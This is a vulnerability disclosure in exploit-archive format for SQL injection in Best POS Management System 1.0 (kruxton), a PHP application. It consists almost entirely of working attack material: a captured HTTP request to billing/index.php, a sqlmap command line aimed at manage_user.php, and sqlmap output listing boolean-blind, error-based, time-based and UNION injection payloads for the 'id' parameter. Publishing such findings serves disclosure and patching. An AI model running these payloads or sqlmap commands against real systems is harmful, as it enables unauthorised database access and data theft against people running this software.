Best POS Management System 1.0 SQL Injection Vulnerability

# Exploit Title: SQL Injection on Best pos Management System
# Exploit Author: Ahmed Ismail (@MrOz1l)
# Vendor Homepage:
https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip
# Version: 1.0
# Tested on: Windows 11
# CVE : NA

```

GET /kruxton/billing/index.php?id=9 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/kruxton/index.php?page=orders
Cookie: PHPSESSID=61ubuj4m01jk5tibc7banpldao
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

```


# Payload

GET parameter 'id' is vulnerable. Do you want to keep testing the
others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 58
HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=9 AND 4017=4017

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: id=9 OR (SELECT 7313 FROM(SELECT
COUNT(*),CONCAT(0x7162767171,(SELECT
(ELT(7313=7313,1))),0x7178707671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=9 AND (SELECT 5871 FROM (SELECT(SLEEP(5)))rwMY)

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: id=-9498 UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x7162767171,0x53586b446c4c75556d48544175547856636d696171464e624c6572736f55415246446a4b56777749,0x7178707671),NULL--
-
---
[19:33:33] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.25, Apache 2.4.54
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
```



----------------------------




# Exploit Title: SQL Injection on Best pos Management System
# Google Dork: NA
# Date: 17/2/2023
# Exploit Author: Ahmed Ismail (@MrOz1l)
# Vendor Homepage:
https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip
# Version: 1.0
# Tested on: Windows 11
# CVE : NA


_________
python sqlmap.py -u "http://localhost/kruxton/manage_user.php?id=4*"
--dbms=mysql --level 3 --risk 3 --dbs --fresh-queries


URI parameter '#1*' is vulnerable. Do you want to keep testing the
others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 52
HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://localhost:80/kruxton/manage_user.php?id=4
<http://localhost/kruxton/manage_user.php?id=4> AND 6332=6332

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: http://localhost:80/kruxton/manage_user.php?id=4
<http://localhost/kruxton/manage_user.php?id=4> OR (SELECT 6586
FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT
(ELT(6586=6586,1))),0x7170787871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://localhost:80/kruxton/manage_user.php?id=4
<http://localhost/kruxton/manage_user.php?id=4> AND (SELECT 3605 FROM
(SELECT(SLEEP(5)))zHgC)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: http://localhost:80/kruxton/manage_user.php?id=-1830
<http://localhost/kruxton/manage_user.php?id=-1830> UNION ALL SELECT
NULL,NULL,CONCAT(0x716a6b6a71,0x4b5276534542756c4e596a4f7377506a73517a73544b4e44737946636674736c526c775277594976,0x7170787871),NULL,NULL--
-
---
[10:58:18] [INFO] the back-end DBMS is MySQL
web application technology: PHP, Apache 2.4.54, PHP 8.0.25
back-end DBMS: MySQL >= 5.0 (MariaDB fork)